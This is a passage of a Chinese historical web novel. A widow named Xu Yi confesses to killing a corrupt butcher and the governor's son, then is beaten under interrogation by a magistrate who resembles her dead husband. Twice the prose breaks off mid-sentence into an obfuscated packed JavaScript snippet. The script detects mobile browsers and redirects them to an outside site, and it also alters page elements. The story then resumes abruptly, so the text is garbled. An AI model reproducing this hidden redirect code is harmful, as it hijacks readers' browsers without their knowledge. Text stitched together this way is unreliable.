沈大娘刚赶完集市、买完肉也去凑热闹,她身子壮实,一屁股撞开了好些人,嘴里念着“让我瞧瞧、让我也来瞧瞧”,妇人们见是她,翻了翻白眼、努努嘴,不情不愿得就让出了一条道。 沈大娘见状心情愉悦,极其满意地走近了,再仰头看。 告示栏上贴着一张通缉令,上面写着两行大字,字形倒是不难认。说的就是昨日清和郡上死了两个人,一个是郡守家的曹公子,一个是住在郡里西南角的王屠夫。 死得好啊! 沈大娘已经展颜笑开了,她勉强压着自己的声音,以免自己笑得前仰后合而被那些侍卫给抓回去了。 这两个人都不受沈大娘的待见。上个月曹公子诱.奸民女的风声走漏了,于是他先前的好名声也就不攻自破,众人便群起而攻,就连老天爷也看不过眼、才将他给收了的。尤其是这位屠夫,沈大娘最不待见的就是他。前年就是他牵走那匹驽马,还将它给剖皮削骨、残忍杀掉了,徐宜那姑娘虽嘴上不说、面上不露,可她知道她心里老伤心了,现在这老屠夫总算死了,真是大快人心。她一定要将这个消息说给徐宜听。 若非一些侍卫就站在前面打量着她、还监视着周围人群的动向,她非得敲锣打鼓告诉全郡的人,这两个害虫总算死了。 斜挎着菜篮子,顺势将手中的猪肉放进了篮子里,沈大娘笑眯了眼,心想还贴什么通缉令啊,应该贴奖赏令才是,杀了这两人的简直是清和全郡百姓为民除害的英雄啊! “徐……宜是谁?”身侧一个年轻姑娘轻声问。 “徐娘子,徐娘子也来啦?”沈大娘仍带着笑意,想让徐宜也来看,转头找了一圈却没在人群中找着她,于是就问:“徐宜在哪?” 年轻的姑娘眨巴着眼,指了指告示栏上的通缉令,小声说了句,“在那上面。” 沈大娘回头仔细瞧了瞧,果然在上面看见了“徐”和“宜”两个大字。 红墨写成的篆文,极其显眼。不仅如此,上面还有徐宜的画像,流畅、细致的线条勾勒出一张清秀的小脸来,连眉眼间的戾气都画了出来,不关形似,神也似。想不到清和郡中还有这般人才,居然能够画出这样完美的画作。 可欣赏到一半,她嘴边的笑容霎时僵住,脸上的皱纹压得更深了些。 沈大娘:“……”为什么那姑娘的名字和画像出现在通缉令上面啊? 该不会真是徐宜杀了这两个人罢,本事可真大。那丫头看着安分收敛,夫君死了之后变得更是温婉沉稳,没想到她竟在一天之内杀了两个难搞的巨头。 沈大娘从人堆里走了出来,还是一脸庆幸。不管怎么样,徐宜她不是被杀的人就好。 只是她若当真杀了人,这清和郡的郡守和长吏应当不会轻易放过她。 …… 两年前徐宜从京中回来之后,沈大娘便觉着这姑娘不对劲。她浑浑噩噩地过着日子,整日里除了打猎就是站在后山的墓碑前发呆。 有一段时间,她不知为什么睡不好觉,半夜起来磨刀是常有的事情。那姑娘自己倒是没觉得有什么,可是有次夜里沈大娘去找她借弓弩,愣是被她半夜磨刀的动作吓了一大跳。 那时她数落了徐宜许久,见她无精打采的模样就立马挺起脊背、叉腰说道:“我看徐娘子你哪,就是一个人太寂寞了,才会出现这些所谓的幻觉。”她一副过来人的模样和语气,眉飞色舞地继续说,“司州俊俏郎官可多了,要不然我为你去找些来?” 徐宜太久没睡好觉,晕乎乎的,慢一拍地反问:“……找些什么?我不需要马儿了,依我如今这状况,实在是不敢养了。” 沈大娘:“……” 一拍额脑,妇人有些恨铁不成钢地看着眼前黑眼圈极重的姑娘。她明明先前让她不要去京中、不要去京中,言三哪怕没有变心也是遇上什么麻烦事儿了才不能回来。可她却没有听,去了京中一趟什么都没得到,还将那匹驽马给弄丢了。沈大娘本想等一月过后再去寺庙接这匹马,谁曾想半路被徐宜的姨母给截胡了。 那匹驽马长得实在不好看,眼角还有白色的旋毛,这明明就是不祥的象征。她实在不懂为什么徐宜那样喜欢它……可那匹棕马死了之后,女孩抱着她哭得可伤心了,说它是自己相依为命的亲人、也是最好的朋友,还说自己以后就是孤身一人了。 沈大娘那日很是慌张。徐宜从来不会表露出自己的情绪,尤其是对于这种情绪的宣泄。十三岁时她被姨父姨母赶了出来,她没有哭,只是垂着脑袋去山中砍了些木头、再回来找了块好地方,叮叮咚咚地开始建屋子。前些日子,言许说要休了她,她只是沉默着不说话,随后收拾包裹去往京中要个确切的答案。 在大多数时候,徐宜会是个冷静的姑娘,冷静到甚至会让人觉着她有些淡漠了。 可沈大娘不这样认为。她越冷静越镇定,就越是在意。这么些年她依旧念着姨父姨母对她的恩情,坚持给他们送去肉食和银两,言三送来的银子,她自己没怎么花,倒是没少了那对夫妇的。槐里乡的人都称赞言三对徐宜好,可徐宜也只是嘴上不说,心中最是在乎自己夫君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188704|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动向了。十二月那样冷的天,她就傻愣等在山下,在众多回来的太学生之中找自己的夫君。 她恰恰是太看重别人了。以至于有人离开,她就不知道怎么生活了。 沈大娘很怕徐宜那天的反常,是为了与自己做个了结。她很怕她以后干出什么傻事,傻到什么都不顾了,哪怕是自己的性命。 于是她叫人把砚山后面的坟堆给压得再实些、墓碑修得再好看些,光是这样还不够,她还去县上买了好些小猪崽子来哄徐宜。 后来她才发觉是自己多想了。 那姑娘并没有选择轻生,还活得更加随性、肆意了。她听了自己的话,开始找司州俊俏的公子来做她的情郎。 只是她找的每一个,都与她的夫君有几分相似。那时沈大娘并没有觉得有什么,言不许长得好看,说不定徐宜就是喜欢那一款的呢,小白脸、无害纯良、又劲又窄的腰……人的癖好短时间内是不能够改变的,那她找些与言三长得相似的情郎也没什么大不了。 而且她对感情的忍耐限度也提高了。找的情郎中不乏有些花花公子,他们与徐宜好上了可转眼就跑了,她也不在意。与此相同的是,她也喜欢玩弄其他公子的感情。卫家的那位长公子卫良书就是一位受害者,临近婚期了,她却跑了,还跑得杳无音信。 这些在沈大娘看来都再正常不过。感情这事本就是这样的,人也是会变的。即便徐宜先前专一,但经过言三这事,她就该明白对待感情就该这样,一心一意地侍奉郎君是没有好下场的 可现在沈大娘突然觉得不对劲了。 槐里乡步入了倒春寒的时节,路上起了大雾,空气中都弥漫着一股湿漉漉的味道,还交杂着沈大娘菜篮中的肉腥味。 走着走着,妇人脸色就有些发白。 若通缉令上写的是真的,官府当真要擒拿徐宜,那王屠夫和郡守公子就都是由她杀的。两年前王屠夫将她的驽马分尸了,曹公子则是一直隐瞒包庇着屠夫。杀他们两个不是没有理由,相反还有千万个理由。 一个屠夫就罢了,但清河郡的郡守哪是好惹的? 不远处这时响起了沉重的脚步声,沈大娘把手放在额际,睁大了眼睛去瞧,只见灰濛濛的大雾中出现了一个模糊的纤细身影。 走得再近些了,总算看清了。那人影不是谁,正是被到处通缉的……徐娘子。她神态自若,可脸色却白的像纸,肩上只披着一件松松垮垮的青灰色衣裳,身形踉跄着走了过来。 沈大娘慌慌张张地连忙跑过去扶住徐宜不稳的身形。浓烈的血腥味扑鼻而来。她这才发现,女子的里襟已经被血给浸得湿透了,所以她才搭上这件不那么合身的宽阔衣裳。 “徐……徐娘子哪,到底出了什么事?”沈大娘感觉自己怀中的人儿滚烫,喉头发紧地问。徐宜张了张嘴并没有立刻回应,沈大娘便要将她抱起来,带到清和郡上的医馆里去。 冷风袭来,徐宜感觉自己的身子在妇人的怀中颠簸、晃悠起来,很难受。她轻阖眼又睁开,废了好大力气才勾到沈大娘的手指。沈大娘低下头去听。 “……大娘,是我杀了他们。不用带我去医馆了,直接去长吏府罢。”她的语气微弱,仿佛下一秒就要像雾气一般消散不见。“我想去自首。” 20. 天落雪 “自个屁啊!”沈大娘听见这话就来气,扶着徐宜一路小跑,她累得气喘吁吁,“我说你是不要命了,王屠夫我就先不说,曹公子你是怎么敢去杀的?他可是郡守大人的独子,曹闽对他要多溺爱就有多溺爱,无数女子因他而死,无数百姓伸冤,可他还是能活得风流自在。” 她刚刚停下,弯腰检查了下徐宜的身体,伤口不深也不致命,只是血还在往外浸,青灰色衣裳也遭了殃。至于里襟上的血应当是她自己抹上去的。 徐宜脸色发白,垂眸小声说:“我就是看不惯他。” “看不惯,看不惯的人多了去了。怎么,你要都杀啊?”沈大娘见怀中的女子皱着眉忍痛的样子,就气不打一处来,“也不是大娘说你,你杀人就杀人,怎么还留下把柄被长吏府的人知晓了?你这伤口……不管怎么样,我还是先将你给带到医馆里去。” 灰色衣裙下的双腿垂落,徐宜扯住妇人的臂膀,身子往外挣,待到妇人受不住力停下来,她才摇摇头,咬牙说:“我不去医馆。请大娘您带我去长吏府。” “你这姑娘……怎么回事。”妇人一跺脚。“他们在通缉你哪!如今去长吏府岂不是自投罗网?况且那老长吏跟郡守一样,也不是个好东西。” “我知道。”徐宜恹恹抬起头,眉目平静地说,“本来我能跑的。” 沈大娘将衣袖给挽上去,作势要来抱徐宜走。女子却退后几步,大娘扑了个空,因此有些恼怒地道:“徐宜你不要犟,听我的!” 天色渐阴,湿气重重地压下来。远方的山青色也逐渐被大雾完全吞噬。只有近处的几间黑瓦片屋子还耸立在街上,偶有三两行人经过,不过他们都没有察觉到这边的情况。 沈大娘瞪着女子,想要强行带走她。此刻女子却冷不丁地发问:“您看见告示栏上那些画像了吗?” “看到了。”沈大娘硬邦邦地答。 “好看吧?”徐宜捂着还在流血的伤口,缓缓走到屋檐前,靠着身后的墙角跌坐下来,然后轻轻地笑了一下,继而说道。“那上面的我可真好看。” 沈大娘:“……”那可是通缉令!要人命的通缉令哪! 真是疯了。 她怎么早没察觉到徐宜的不对劲,自从京中回来她就变得沉默寡言,也不再去砚山打猎了。最初沈大娘没觉得有什么,徐宜的那匹棕马生前就待在砚山中的寺庙里,她进山打猎便会触景生情。哪曾想过了两年了,她还是不肯迈进砚山半步,反倒是去清和郡找了份在酒馆的零工来谋生。 还有她那些长得与言三相似的情郎…… 现在想来,这姑娘根本没有走出来。她一直将死去的夫君和那匹驽马放在心上,以至于她要剁了王屠夫的手,现在更是张狂肆意,这次她直接干脆地将王屠夫和郡守公子两人给杀死了。 “大娘您不用担心我。我与老长吏大人说好了的,曹柏那玩意儿害死不少人,长吏府中积攒了好些案子,都与他有关,也都没有沉冤昭雪。所以我杀曹柏是替天行道,百姓不会抗议,老长吏也不会捉拿我,这些都是曹柏他应得的。”徐宜一双黑白分明的眼睛睁大了盯着妇人,向她认真地解释。“老长吏与我说好了的。他不会擒拿我。” 过了会儿她似乎是觉得冷,紧了紧身上宽大的青灰色衣裳,再蹭了蹭。闻到衣裳上有一股积压在箱底已久的味道,她的眼神瞬间淡下来。这是她夫君生前常穿的衣裳款式,两年前言三死后,她凭着记忆,在清和郡上找了好几家裁缝店,才做出来这件衣裳。为的就是能给自己留个念想。 现在这件衣裳已经有一股淡淡的霉味了。 沈大娘看见她这副模样,悔不当初。这番话看似条理清晰、逻辑缜密,她的计划也是天衣无缝,老长吏由于手中与曹柏有关的陈年旧案太多,他良心不安便想着与徐宜合作,徐宜负责杀人,他就负责开脱罪名。 可无论怎么看,在这计划中徐宜始终都是吃亏的那一方,老长吏想追究便追究,不追究便不追究。生杀予夺,都是他说了算。老长吏守信还好,如若他不守信呢? 况且老长吏在位这么多年,见了冤案向来都是马马虎虎,对郡守更是唯命是从,由此他才坐稳的长吏之位。这样的长吏,当真会有良心吗。 这姑娘是根本就没有考虑过……自己的性命啊。 沈大娘思虑良久,心早已沉入渊底。面前的女子那般坚决,如今事情也已发生,她没有退路了。妇人只能一抹眼泪,背过身子哽咽了会才说,“行。反正大娘如今也是管不了你了。” * 长吏府中。冷风从堂前袭过来,吹得桌几上的泛黄纸张哗啦啦一片响,浓郁的墨香缭绕在屋中,倒是添了几分古韵雅致。 “郁公子哪,真是劳烦你了!” 头发斑白的老人大踏步跨过了门槛,边走边念着。他脸上长满了老人斑,细长的鼻头横在脸庞正中,看着有些滑稽。见到屋中的年轻公子悠然执笔,俯身还在勾勒画卷,他就疾步向前猛地摆手,“郁公子。不用再画了,不用再画了。” 郁故行听了,搁下笔,淡淡地瞥他一眼,好心提醒:“李荻,你已经卸任了。在下是奉北山王之命来的长吏府,无论如何,也该唤我一声大人。” 老人的眼中闪过一丝精明的光,可转瞬就消逝不见。他微微躬身行礼照做也照喊,“长吏大人。” “等我画完这一幅,我们就去审讯犯人。”郁故行点点头,然后说道。 他的声音温和动听,仿佛柳枝尖尖上跳动着的日光,带着些暖意。尾音极轻极浅,“犯人”二字明明阴险、露骨,却被他咬得莫名有些缱绻的意味。 李荻:“好。只是犯人现在身子虚弱,快要晕死过去了。大人需画快些,才能审讯得到她。” 郁故行蓦地抬头,反应过来轻声说:“那就先让医者简单处理下。” 李荻听到这话沉默了好一会儿才答了个“是”字。他的目光沉沉,隐隐有凶气藏在其中,最后才缓缓踱步离开。 窗外又掀起一阵风。 郁故行敛了眉目开始提笔、俯身作画,他手上的动作极尽轻柔,笔触也足够细腻生动。不一会儿,女子姣好灵动的相貌就跃然纸上,画上的女子长发及腰,眉目清雅似玉,其间又不乏几分英气。画得实在太美了。 美到仿佛画的不是被通缉的犯人,而是慕艾已久的……心上人。 桌案上还放着许多这样的画作,有的被吹落到了地上,从窗外打下来天光不少,尽管如此屋里还是陷入一片混沌。只模糊可见年轻公子皱起的眼眉。 郁故行久久审视着他手下的画作。 这些是他按照证人托词和描述来画的。两日前,王屠夫死在西南长街应援铺子里,郡守公子曹柏死在酒馆里,据证人报官来说,杀他们两人的是同一位女子。明明该是秉公处理、不掺杂任何私人情绪的。可自他落笔,手上的动作总是不可避免地轻柔起来。 画上的女子面目太过陌生了。陌生到仿佛有人为他抹去了关于她的记忆,只留下一道生硬的痕迹。 “长吏大人,人醒过来了。”屋外传来李荻的声音,“可以审了。” 指间的笔猝然掉落,郁故行晃神了会,随后便恢复过来,眼中霎时就染上了嘲弄的笑意,他摇摇头然后淡声道:“将人带过来罢。我来审。” 松木门敞开,照出了屋里的大片光华。风又起,桌上的黄纸纷纷飘起随后又似枯叶子一般打着旋儿坠落。 紧接着,徐宜就被三两侍卫扣住手肘和腰身给带着走了进来。 刚被人浇了冷水,她浑身上下都是湿黏黏的,颊边的发丝紧紧贴合,青灰色的衣裳也被打湿了,于是就将她的身子给紧紧包裹住,密不透风。长睫上挂着未干的晶莹水珠,徐宜不舒服地眨了眨眼,脊背上却骤然传来剧痛,她被侍卫们驱使着跪了下来,“咚”的一声额头砸地,清脆又响亮。 昏昏沉沉的,脑袋重得她快要抬不起头来。腹下的伤口没有处理好,又被泼了冷水,现下正在慢慢浸血。她痛得皱紧眉头,又快要昏睡过去。此刻书卷混着墨水的冷香味却没入鼻息之间,她喘着气,抬眼就要去打量周遭的一切。 还未来得及动作,长矛就又落在她的脊背上。 她身形踉跄了一下,猛地往前倾,吐出一口血水。血丝根根蔓延,就溅在不远处掉落在地的画作上。 李荻站在边上,沉着一双老眼满意地看着她。谁曾想这女子俯着身子,还是侧过眼来看她,目光带了一股狠劲。他被看得一耸身子,连忙往后小退几步,再向她啐道:“你这亡命之徒,看什么看,再给我打!” 郁故行倚坐在条案后,将这一切都看在眼里。他抚挲着画卷上女子的头发,又对面前的女子生起了好奇。 她与自己所画的,当真是……别无二致的同一个人么? “仰头。”郁故行眯起眼眸,颇有些居高临下地打量着女子。 正堂里本寂静无声,除了画卷清脆的翻折声和偶然的几丝风声就再无其他。这声命令的语气浅淡得快要沉寂,但却不容拒绝,仿佛阴冷沼泽前不那么显眼的深绿藤蔓,藏着若有似无的威胁和危险,仿佛下一秒就能将行人绊进泥潭里。 可女子似乎没有听出来这声命令下的胁迫意味,她怔愣在原地不做任何反应。众人却能感受到她的呼吸变得更为急促,吸气声也逐渐变大了。她衣裳上的水渍滴答滴答地砸到地上,愣是在原地围成了一个湿沥的水圈。 郁故行加重了语气,再唤:“徐宜,抬起头来。” “哟,审讯犯人呢——” 来者是个长相妖魅的青年人,狐狸眼睛微微上挑,眼尾长了颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐宜甚至不敢抬头看面前的这位所谓的郁公子、郁大人。他的声音简直与言许如出一辙,她之前认为卫良书的声音已经算是极为相似了,可如今这位郁公子比卫良书的更像也更接近,仿佛他就是言许,就是自己的夫君。 从他们的话语之中可以听出来,这位郁公子是清和郡新来的长吏,当年射了她一箭的紫衣青年则是京中更大的人物,位高权重,比他更胜一筹。如今她自己的处境也极为糟糕,老长吏果然如她所料般不守信用,知道她手中有他贪污受贿的把柄,迫切地想要她死。 但这些都无所谓,徐宜的目的早就达到了。王屠夫和曹公子的命都栽在她身上,剩下的就都交给长吏府罢。 她无力地垂下脑袋,仿佛颈头被折断了似的。乌发湿答答地垂在女子肩膀上,像布匹一般掩住大片脸颊。 冷。 冷到她唇齿打颤。慢慢的,外面的天逐渐变黑,阴云一片片地从远方移过来,不一会儿屋中的光华就暗淡下去。 徐宜控制不住地打了个喷嚏。下一秒,她的下颌就被人掐住,那人力气极大,她挣不开。头颈不受控制地往后仰,视线渐渐往上移,她看到了不远处地上、桌案上的那些通缉令,数量极多,画工精湛。霎时纸卷翻飞,她目光凝滞几秒,微微愣住。 上头画的都是她。 一眼就能辨认出来。从眼眉、鼻梁骨,再到脸型、下颌,都画得极为准确标致,尤其是眼眉间的勾勒,更添几分神韵。 这些都是这位新来的长吏大人——郁公子所画么。 郡里的长街上贴满了这些带有她画像的通缉令,逃命途中第一次看见的时候她就觉得不对劲,这些画作的笔触与自己的夫君太像了。言许婚后曾为她作画,画出的与通缉令上的几乎一模一样,只是神态、眼神略有不同。 徐宜原本已经快要逃出清和了,却被码头的船夫给认了出来,随后接踵而至的追兵跟来、争斗之时她还被人捅了一刀。那一刀不致命,可她知道自己是逃不出去了,便将计就计地给自己的里襟抹上血,然后来长吏府自首。 就如沈大娘所说,这是极为冒险的一个抉择。在这个抉择里,她没有将自己的性命给考虑进来,可她没有办法,她已经杀了人,如果老长吏不揭过此案,那她就逃脱不了郡守曹闽的报复。她这样硬撑着伤、不顾危险地就要来长吏府自首,不仅是为了与老长吏、郡守鱼死网破,还留有一点私心。 她私心还是想看一看做出那般画作的到底是……什么人。 可如今这人近在咫尺,徐宜却不敢抬头去看他。她反抗得更猛了些,她咬牙使劲往张渠手下压,可她如今的身子和力气到底比不过男子。张渠单手扣住她的两颌,动作看似轻柔却叫她痛得发不出声音来。到最后女子耳畔、脸颊、颈侧的头发都被他给一一撩开,一览无余。她皱起眉目,只能仰起脖颈,往端坐高堂的郁故行看去。 坏透了。 她突然觉得自己的行为很蠢,蠢得要命。为什么要因为一副画作就跑过来自首,如今还遭到这样的欺辱。早知是这样,她便在逃难路上一刀了结自己。 这时不怀好意的声音却响在屋里,张渠用力掐住女子的下颌,轻蔑地直视郁故行的眼睛:“看看罢,郁故行。你还记得她么?” 21. 天落雪 张渠的话音刚落,堂上的年轻公子就侧过头,别开了眼,他的视线移到飘落在地的通缉令上。 看到上面的画像之后,他眼眉微皱,似是在疑惑和惊叹着什么,转瞬又拿起桌案上的画笔在手中把玩,随后轻声说:“我不认识她。” 徐宜微睁着眼,只能看见郁故行的半边侧脸,长发半披半束着,深绿的发带飘在眼睛边。疼痛阵阵传来,她的意识逐渐变得迷蒙模糊,那张好看的侧脸也仿佛坠入大雾之中,莹润如玉般,却也缓缓在她的视线中淡去。 ……也那样熟悉。 同样温润,明隽。一如她死在永光十二年春月的夫君。 ——我不认识她。 这句话与其说是在回答张渠的问题,倒不如说是在说服他自己。张渠将郁故行的反应全都收入眼底,了然地笑起来,可他并不想就此放过他。 “郁大人若是秉公执法,为何不敢看她?我瞧你画的那些通缉令,不像是通缉令,倒像是……”张渠放下手,缓步走到女子的身前来,弯下身来打量了一番,装作恍然的样子说。“啊,我想起来了,就像是情郎为心爱之人所作的画。” 郁故行:“酒馆的人怎么说,我就怎么画。绝无半点私心可言。” 此时张渠嘴角的笑意更深了些,仍是不依不挠,“郁大人当真是薄情寡义,好一个没有私心哪。” 郁故行便不再理会他了。 …… 骤然获得大片空气,徐宜呛咳几声,大口喘着气。 下颌上传来火辣辣的痛,肋下的伤口也因震颤而渗出更多的血来,就要将灰色的衣裙染红。 怎么会有如此相似的两个人呢? 她攥紧了袖襟,强自镇定下来,想要抬头再看看他。 “啪——” 不待她动作,站在一旁的侍卫就将长矛甩了下来。他受了老长吏的指使,同样的,也受了郁故行的默许。审讯犯人就是如此,屈打成招是最管用的一招。人在意志薄弱的时候很容易被攻破防线。 猛地呛出一口血水,长矛继续打在背上,徐宜觉得这些长矛像是长了倒刺一般,每打一次就会勾掉自己身上的一块肉。她被推得踉跄着向前,最后完全匍匐在地,彻底抬不起头来。 徐宜其实很能忍痛。 十二岁那年戎人进犯,她独自一人留在家中,全家逃难唯独没有带上她。她就自己骑了马匹去追他们,一路上遇上了不少戎人和野兽,受了不少伤。最后她的确追上了母亲,可母亲却对她说在家中好好待着,等他们安顿好一切就来接她。 她信了。一个人原路折返回家,等在家中,等到家里的横梁彻底崩塌,戎人的马蹄踏破门槛,家乡充斥着硝烟和哭声的时候,她捂着自己尚在流血的腿和臂膀,这才确切地意识到,自己被弃掉了。 于是她在最快的时间内包扎好伤口,拾掇好一切,在戎人的欺进下逃走了。逃难途中漫长、无趣,无人倾诉就只有一匹棕马,慢慢的,她就失去了感知痛觉的能力。 可直到有一天,有人颇为恼怒又无奈地对她说受伤为什么不吭声。那时她愕然地睁大眼睛,两只手像是被冻住了一般僵在那儿,有些无所适从。 面前那人忽地叹了口气,就在她觉得那人起身就要走的时候,他却俯下身来,抱住了她。 她听见他清润的声音,很轻、也很温暖,“以后可以跟我讲的。” 她才知道,原来痛是不一定要忍住的。哪怕是细小到不足一提的伤口也是可以喊疼的。 可徐宜现在被打得冷汗淋漓,瞳孔几近失焦,记忆杂乱无章,却又在一瞬间变得清明。她掐上自己右手的肉,拼尽全力扯出一抹嘲弄的笑来。 怎么能因为一些相似的画像就断定这人是她的夫君呢。 世间的画者千千万,言许并非最特殊的那一个,总会有人与他的画技相同,他们也会画出与之相似的画作。郁故行正好就是这其中的一位画者,只凑巧的是,他的声音、面皮……也恰与自己的夫君相似。 可世上的巧合本就多,发生在自己身上也没什么不可能。论声音,她这些年找了不少与言许有着相似音色的少年郎,卫良书就是其中之一。论起面容,清和县的公良先生也有着相似的明隽温和的相貌。论性子,卫良书也较为温和,但槐里乡的许公子还是更胜一筹。 沈大娘常说司州是个风水地、倚靠着砚山这座宝山,好生养人,因此也就比其他地方多了好些俊俏的少年郎君。光是在槐里乡,徐宜就找到了两位好看公子,来清和郡之后她也遇见不少郎君。他们并不是与言许一模一样,但他们身上总有一部分与之相似,且能与她记忆的他相重合。 所以……堂上这个郁大人又算得了什么。 徐宜轻嗤一声,可这一动作惹得身上的血流注得更快了些。她一把按住肋下的伤口。 屋外冷风又吹来,令人唇齿生冷。天光彻底不见,看来是要下雨了。 还是先想想如今自己的处境罢。 清和郡的郡守曹闵是个不好惹的主儿,平日里即便作恶多端也无人敢去违拗他,长吏府中不知挤压了多少件冤案。子承父教,郡守公子曹柏也不是个好东西,可曹闵尤其喜欢这个儿子。他有许多儿子,可他们多多少少都有些问题,要么是身体、要么就是脑子,只有这个曹闵能吃能睡,勉强算个正常人。但这样的儿子到他那儿去了,就是块稀世珍宝,曹闵对他无微不至。西南街上的王屠夫身上也有不少血案,可他惯会谄媚、贿赂郡守,因此得以在曹闵的庇佑下安稳度日。 可现在他们都被自己给杀死了,曹闵是绝对不会放过她的。她不怕死,倒是害怕自己死不了。依这位郡守大人睚眦必报的秉性,定然不会一刀了结她,而是会用钝刀子慢慢折磨她。 那可折腾了。她不想落到曹闽的手里。 “徐娘子有什么想说的么?”郁故行转过眸子看向跪在地上的女子,眼里多了几分刻意的审视。 “回大人,没有。” 郁故行置之一笑,淡淡说来:“前日那家酒馆的生意并不好,即便是夜里也没多少客人。看见你杀人的也就掌柜和小二两人。他们说是你,可我倒是不信。这只是他们的一面之词,任何人都有私心,他们巴不得此案快点结,不然会影响到酒馆的生意。这做商贩的,狡猾得很,徐娘子,你说是吗?” 站在一旁的老长吏大人倒是有些急了,他翘着白胡渣说:“郁大人怎可以这个来判定好坏呢?真是好没道理!李掌柜可是清和郡正经的生意人,杀人事大,他又岂会说假……” 话还未说完就被年轻公子给打断了,郁故行淡淡瞥了他一眼,“李大人心怀清和郡的百姓,心胸开阔。倒是显得在下气量小了。”李荻连忙摆手否认,可他继而又说。“可在下偏要以小人之心度君子之腹,李掌柜就是少做人事,他的话,我不信。” 李荻脸彻底黑了。郁故行则像无事人一般,他站起身来,缓缓走至跪在地上的女子身旁来,笑道:“徐娘子,我听你说。” 熟悉的清润声音响在头顶,真的好像毒药。眼下这人就是在套自己的话,绝不能上当。徐宜勉力控制住自己的意识,支撑起身体,不让自己像一滩烂泥一般倒下去,她沉默着不说话。 郁故行并不恼,相反的是他极其有耐心,还好心地为她分析利害:“我派人去查了。王屠夫和曹柏作恶多端,早就该死了,只是有了曹闽的庇佑才没死成。你如此这般,不仅没错,还帮全郡百姓出了口恶气,实在是大快人心。可杀人的罪名和刑罚本就重,郡守还如此珍视这位曹公子,徐娘子难道想将罪责全都揽下来吗?” “郁故行!”李荻气得连连跺脚,有些恨铁不成钢。“你简直是口出狂言、大逆不道!” 徐宜怔住半晌。 他的声音其实很轻很淡,就像草尖尖轻拂过心头,暖意和痒意汇聚成了一条河流。而就是这样清淡的无所谓的语气,说出这些“大逆不道”的话来,才更让老长吏抓狂。 ……又是因为他的声音,太具有蛊惑性了。明明就是言许的声音。 徐宜很想捂住耳朵不听了,她知道这位郁大人是在唱白脸,刻意放柔语气哄她说出真相、哄她说出另外的同谋。 又是一个利名客。 他这是在帮郡守,帮他还原曹公子死之时的真相,帮他找出杀害曹公子的全部人手,最后再帮他报杀子之仇。 如此他便可以在官场上如鱼得水。先前的老长吏就是这样,在郡守身边任其调遣,衷心得就像一条狗。 可他不该有一双能作出那般画作的手,也不该有那样的面容、声音……这些长在他身上,就像是一种玷污。 徐宜咬住下唇,故意不入套,偏偏嘲弄起他:“大人不才说李掌柜少做人事,要相信我的话吗?那我便说王屠夫是我杀的,曹公子不是我杀的,您会信吗?” “我信。”郁故行温言说道,语气还尤为笃定。 熟悉的词句、熟悉的音色、熟悉的语气……徐宜听得再一怔。 言许曾无数次对她说过这话,她被槐里人诟病造谣得有些郁闷之时,他摸她头认真说,“我信你不是那样的人,是他们错了。”就连她故意逗他说自己特别喜欢他的时候,他也会这样温言说一句“我信”。 这位郁大人几乎没有犹豫地就说出了这句话。 徐宜下意识地就卸掉一些防御,紧了紧衣裳后叹口气,“好罢,人就是我杀的。” 可一想到面前这人用着相似的声线和语气来要挟她、套她的话。她有些气不打一出来,“可大人这般欣赏我,又为何要画通缉令来抓我?” 女子的衣裳单薄,且又被冷水打湿,因而她整个 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一旁的老长吏笑说:“哪还有其他人哪,郁大人可不要听错了去。李掌柜从始至终描述的,都只有这个徐宜啊。不然大人便不会只画她的相貌了,也不会只通缉她了。” 原来又是在骗她。徐宜松了口气,也不再那般紧张了,“的确是我一人所为。” “徐娘子倒不必急着揽责,在下所说的这个人,可以是李掌柜,可以是酒馆里打杂的伙计,当然也可以是老长吏大人……”郁故行转过眼,快步走到高堂之上,漆黑的眼眸微微眯起,“如果商人的秉性是狡猾、多疑,我们这些为官的,要从他们手中讨来税,自然要更狡诈些。徐娘子,不肯供出共谋,你就这样相信老长吏吗?” 李荻:“郁故行,你究竟在说些什么!” 原来是想让自己供出老长吏。他只想铲除身边对他造成任何威胁的人或事,老长吏做了这么多年的狗,自然资历深厚、得郡守信任。郁故行除掉了他,初来乍到清和郡也可以稳固自身地位。 ……好生算计。 徐宜仰起头,虚虚阖着眸子,身上的痛楚不减反增,很是虚弱。最后她轻声反问:“那我便可以相信大人您吗?” 郁故行依然专注地看着徐宜,指节扣上桌几。 屋里气氛骤然变得肃杀。山雨欲来风满楼,且愈来愈大、愈来愈猛,就连沉重的松木门也被吹得吱呀作响。 “郁大人!郁大人!” 一个小厮打扮的人地从外面跑了进来,他灰头土脸的,还有些蔫巴巴的菜叶子挂在头上。 郁故行:“何事要秉?” “长吏府前跪了好些人。他们都哭着说要找……找老长吏李荻李大人,还说自己的女儿不明不白地死在郡守府里,有好多冤屈要陈。侍卫们已经镇压住了他们,可为首的那位大娘尤为泼辣,逮着我们就甩臭鸡蛋和蔫叶子。” 是沈大娘么。听这些话,定然是她去找了那些女子的家人来长吏府沉冤,也借此来要挟老长吏,想要救下自己的性命。徐宜心里有些感动,也有些哑然失笑。 曹柏是郡守的宝贝儿子,她杀了他,郡守不松口的话,老长吏也不会有任何办法。更何况这位老长吏怯懦顺从,与郡守从来都是穿的同一条裤子。沈大娘这般带着大家来沉冤、来救她,最后肯定是不了了之。 这样的场景似曾相识。两年前京中的太学生被擒,许多人就去廷尉府前跪着求情。她也去了,就见着那些侍卫二话不说,直接赶人,赶不走的就杀了。长梯上流了不少人的血。只是好在清和县的老长吏怯懦,不敢对他们怎么样。 “去把把把……把他们驱走!”李荻努起嘴,摆手说道。小厮跑出去之后,他就只好搓搓手,对着张渠和郁故行尴尬陪笑:“真是一群害群之马!往日里就是他们坏了清和郡的太平。这次真是让张公子和郁大人见笑了。” 张渠看了眼跪在地上的徐宜,似笑非笑地说了句:“你这清和郡真是人才济济哪。” …… 